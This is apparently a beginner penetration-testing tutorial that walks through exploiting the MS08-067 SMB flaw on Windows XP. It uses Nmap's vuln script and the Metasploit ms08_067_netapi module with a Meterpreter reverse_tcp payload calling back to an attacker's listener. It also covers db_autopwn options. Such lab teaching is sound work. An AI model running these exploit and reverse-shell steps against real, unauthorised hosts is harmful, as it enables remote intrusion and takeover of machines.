Remote Exploitation Part-0011 Metasploit With Windows Host

So now we exploit over first machine or Host for understand the deep down of Metasploit Framework and how to scan weak host's with Metasploit and Nmap.

$ run getting_started.sh

OS Windows XP

Weakness : ms08_067_netapi

OS : Windows XP Service Pack 2

Type : Remote code execution vulnerability

Released : Oct:2008

Available : Windows XP, Windows 2000 and old OS of Windows OS's;

Working Of Vulnerability :

Attacker send's a specially crafted RPC requests which forces the program to behave in manner it was never intended to be, so it can be tricked behave how the attacker wants it to be, by crafting RPC requests that overruns a fixed-length buffer inside code, resulting in memory corruption which can be tricked to execute arbitrary code inside the machine.

Scan With Nmap :

nmap contains NSE:

$ nmap -v --script scriptname <target>

$ nmap --script=smb-vuln-ms08-067<target IP>

 

We search with Metasploit Framework

$ search ms08_067_netapi

We can see!!

 

This time To Use of vulnerability

1. We need Exploit

$ use exploit/windows/smb/ms08_067_netapi 

1. Now we set the target and port no
1. set RHOST <Target IP>
2. set RPORT <Target PORT>
2. We need a payload for run in victim machine
1. Set payload/windows/meterpreter/reverse_tcp 
2. Meterpreter open a session and connect with victim PC;

1. Let's set options
1. set LHOST <out IP>
2. set PORT 4444
2. Exploit  
   

Metasploit Autopwn

Simple : it will simply fire up all the exploits in the Metasploit database against you target.

Why we use it ? :: Very Fast!!

Can we use it? :: No, real penetration test is trigger IDS/IPS alerts;

Usage :

Uses : Simple

Command : db_autopwn -h

-e :: use the execute the autopwn';

-p :: ask the Metasploit to try vulnerabilities based upon particular        ports

Ex:: performed a port scan and that an FTP server was runing on port 21;

Use -p option, you can use all the exploits available in the Metasploit Framework for Port NO 21;

-x :: options would use the exploits based upon certain vulnerabilities;